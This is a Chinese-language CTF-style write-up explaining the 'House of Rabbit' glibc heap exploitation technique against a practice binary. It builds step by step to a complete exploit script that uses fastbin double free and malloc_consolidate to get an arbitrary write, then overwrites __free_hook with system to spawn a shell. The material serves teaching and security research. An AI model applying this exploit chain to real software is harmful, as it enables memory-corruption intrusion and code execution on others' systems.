House of Rabbit
这种利用方式产生于2017年，本质的原理是可以通过修改fastbin的size或是fd，触发malloc_consolidate，使得fastbin被link到其他的bins中
首先检查程序的安全机制
除了PIE随机化其他的都是全开
程序的菜单有一个限制
总的申请chunk数量为9个，其中只能包含4次fastbin
对大小倒是没有限制，从fastbin到largebin都可以申请；
另外程序最开始有一个libc的leak，并且最初输入的age是可以通过菜单修改的；
程序free时没有清除meta data，导致存在double free的漏洞
和之前的几个实例相比，还有一个特点
之前的程序user字段会在target的上面，这样我们可以将user字段伪造成一个chunk的size字段，进而申请空间后修改target
但是这个程序target是在user的上面的，这种方法就行不通了
在house of force中，也有类似的情况，我们的解决方法是将Top Chunk溢出修改为一个特别大的值，之后申请内存时循环一圈申请到上方的空间
那么在这个程序中是否也可以使用类似的方法呢？
任意地址写
如果要利用这个user伪造chunk的size，使用类似house of force的方法申请很大的空间，那么只能设法将一个largebin link到这个user字段这里了。
在house of lore中介绍过将伪造的chunk加入到largebin的方法
当时是存在溢出的漏洞可以修改一个largebin的fd、bk字段，但是这个程序中也无法实现这样的效果
首先利用fastbin dup得到一个overlap的指针
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
但是这个程序只能申请4次fastbin，我们这就已经用了三次了
肯定是没办法直接用fastbin dup了，而且fastbin的大小对我们这种情况也不适用，我们想要的是largebin，准确的说的最大的largebin，只有最大的largebin才能申请无限大的chunk
下面就是house of rabbit的一个核心的内容了
首先我们可以设法触发malloc_consolidate，在这个函数中，会将fastbin放入到unsortedbin中尝试对内存进行合并，这样可以将fastbin放到unsortedbin中
malloc_consolidate没办法直接调用，只能间接设法触发
在malloc的执行流程中，有两个地方用到了malloc_consolidate
可以看到上面的一次调用，只要malloc接收到largebin大小的申请就会触发
这个思想也很合理，当申请一个特别大的chunk时，会先将内存中细碎的小空间释放或合并，否则可能由于空间不连续多占用很多空间
那么修改一下exploit
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
malloc(0x3f8,'a'*8)
这在执行时出现了报错
不过好消息是这个报错是malloc_consolidat中触发的
也就是说我们成功触发了这个函数，出现错误的原因也很熟悉了，是unlink时的错误
这里unlink的是nextchunk，在gdb中print一下看看是哪一个chunk
所以这里尝试unlink的是我们伪造的user的下一个位置
为什么会这样呢？
这需要结合malloc_consolidate的功能来考虑
这个函数的目的是合并内存的free碎片
顺着fastbin的fd找到在user伪造的chunk之后
- fake chunk在fastbin上，所以是一个free的
- 向下找fake chunk之后的chunk（即这里的nextchunk），判断它是否也需要合并进来
- 从nextchunk接着往下找，看nextchunk后面的nnchunk的prev_inuse字段是否为0，如果是的话就合并进来
在这里接下来的部分size是0，所以nnchunk的prev_inuse也是0
malloc_consolidate认为nextchunk也是一个free了的chunk，所以需要将其unlink下来
要通过这个判断，有一个方法就是将fake chunk的size字段修改为1
由于大小是0，nextchunk也是指向了自己，接下来由于prev_inuse为1，就停止搜索了
这样运行仍然报了一个错
不过已经不是之前consolidate的漏洞了
报错的原因是malloc(): memory corruption
这时查看user结构体附近的值，可以看到unsortedbin的fd、bk已经写入到这里了
这说明我们已经通过malloc_consolidate将伪造的chunk从fastbin link到了unsortedbin中
接下来处理这里的报错
报错出现的原因是在检验fake chunk的size时小于2*SIZE_SZ，不是一个有效的unsortedbin的size
上面malloc的流程图中可以看到在触发了malloc_consolidate之后紧接着做的事情就是scan unsortedbin，判断unsortedbin中是否有符合条件可以满足申请的chunk
要想解决这个问题有两个方法：
一是在这里申请large chunk之前更早的时候首先在unsortedbin中放一个可以满足要求的chunk，这样第一次扫描unsortedbin的时候就不会检查到fake chunk的size
二是直接放弃这个malloc_consolidate，转而尝试触发其他途径上的malloc_consolidate
思路一
修改exploit
large = malloc(0x3f8, "large")
avoid = malloc(0x98, 'small')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(large)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
malloc(0x3f8,'a'*8)
在最上面增加一个large一个avoid
首先large的申请就是为了首先在unsortedbin中增加一个大小和我们要申请的内容相同的chunk
avoid则是为了防止与top chunk合并设置的
如果不增加avoid的话，large、fast_A、fast_B全部都会和top chunk合并，就无法留在unsortedbin中了
另外avoid还有一个作用是防止large和fast_A、fast_B合并
如果将avoid的位置放在fast_B的下面，这样在执行完毕malloc_consolidate之后，几个chunk都不会和top chunk合并，但是large和fast_A、fast_B会合并为一个chunk
这导致unsortedbin中的大小发生了改变，unsortedbin的搜索停止条件是有一个chunk的大小完全相同，这样的话就无法阻止unsortedbin继续搜索我们的fake chunk
不过也可以通过修改最后一个malloc的大小解决，从0x3f8改为0x438即可
malloc(0x438,'a'*8)
思路二
其实malloc_consolidate除了在申请时可能触发，还可能在释放时触发
在free时如果一个chunk的大小大于了fastbin consolidation threshold这个值
就会触发malloc_consolidate，这个值默认是65535
可以看到在到达这里之前，free函数首先会尝试与前后的chunk进行合并，合并之后才会判断是否需要consolidate fastbin
那么只要在堆靠近top chunk的地方free掉一个unsortedbin，unsortedbin与top chunk进行合并，之后发现top chunk的值大于了65535，之后就会触发malloc_consolidate
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
unsorted = malloc(0x88,'a'*8)
free(unsorted)
既然成功将fake chunk放入到了unsortedbin中，接下来要做的就是将其放入到largebin
首先将age字段修改为0x80001
之后申请一个比这个还要大的chunk，这样就会将其从unsortedbin中unlink下来放到largebin
amend_age(0x80001)
malloc(0x80008,'bbbb')
运行之后，仍然报了一个错误
和之前错误的是一个位置，也就是检查fake chunk的size时出错
但是这次不是因为太小了，而是因为太大了导致的
chunksize_nomask(victim)>av->system_mem
这时系统的av->system_mem比我们申请的chunk可小太多了
但是这里的问题是，想要将chunk放入到最大的largebin，最小的值就是0x8001了
既然没办法修改这个值，那只能想办法让av->system_mem变大了
如果在之前申请一个特别大的chunk，那么系统就会更新system_mem
目前这个值是0x21000，那么如果申请一个0x60000大小的chunk，就可以将system_mem变的比0x80001大了
在最开始申请一个超大的chunk
very_large = malloc(0x5fff8,'bbbig')
继续运行，发现这个chunk并没有在堆里，system_mem也没有变大
使用malloc_chunk m_array[0]-0x10可以看到
这个chunk的标识位IS_MMAPED被置为1了
也就是说这个chunk并不是通过malloc分配的，而是通过mmap分配的
在释放的时候也是直接使用unmmap释放
这是因为申请的内存太大了，堆分配器认为程序一般不会用到这么大的内存
偶尔出现一次不如直接用mmap分配一个新的区域出来
实际上具体执行时比较的时mp_.mmap_threshold这个阈值
只要这个值不发生变化，那就没办法申请这么大的空间，所以必须想办法增大这个阈值才行
改变这个阈值的情况就是当释放掉一个特别大并且有mmaped标识位的chunk时，如果它的大小大于现在的mp_.mmap_threshold就扩大这个阈值
所以我们改写一下exploit，free掉这个mmap的空间，并再申请一次
very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)
amend_age(0x80001)
malloc(0x80008,'bbb')
这时再运行可以发现gdb没有报错了
主动暂停一下看看，可以看到mmap_threshold增大到了0x61000
另外整个堆空间的大小变成了0x81000
最后就是成功将fake chunk加入到了largebin
可以看到skiplist的fd、bk也已经有了值
那么最后只需要申请一个超级大的空间，让内存滚上一圈
再申请下来target的空间就可以了
very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)
amend_age(0x80001)
malloc(0x80008,'bbbb')
amend_age(0xfffffffffffffff1)
malloc(0xffffffffffffffff-elf.sym.user+elf.sym.target-0x20, 'bbbb')
malloc(0x18, b"Much Win\x00")
成功改写了目标字符串
任意代码执行
有了任意地址写的能力，代码执行就很简单了
直接针对free_hook，将其修改为system的地址
上面的exploit进行一些修改
amend_age(0xfffffffffffffff1)
distance = libc.sym.__free_hook-0x20 - elf.sym.user
malloc(distance,'xxxx')
malloc(0x18, p64(libc.sym.system))
但是没想到在最后一个malloc居然出错了
出错的原因还是熟悉的unsortedbin大小检查时出错
这个unsortedbin是哪里来的呢？
我们构造的fake chunk大小太大了，在申请一个从free_hook到user的内存之后，还有很大的剩余空间，因此需要放入到remainder中
所以这就导致remainder的size没有通过检查
那么对应的解决方法也很简单，只要设法让remainder的大小可控就可以了
distance = libc.sym.__free_hook-0x20 - elf.sym.user
print("distance %s" % hex(distance))
amend_age(distance+0x29)
binsh = malloc(distance,"/bin/sh\x00")
malloc(0x18, p64(0)+p64(libc.sym.system))
free(binsh)
重修修改一下fake chunk的size
让其大小正好是从user 到free_hook前面的差加上一个修改的chunk大小
注意需要
调整一下age设置为16位对齐
最后执行就可以获得shell了
最终完整的exploit
very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)
amend_age(0x80001)
malloc(0x80008,'bbb')
distance = libc.sym.__free_hook-0x20 - elf.sym.user
print("distance %s" % hex(distance))
amend_age(distance+0x29)
binsh = malloc(distance,"/bin/sh\x00")
malloc(0x18, p64(0)+p64(libc.sym.system))
free(binsh)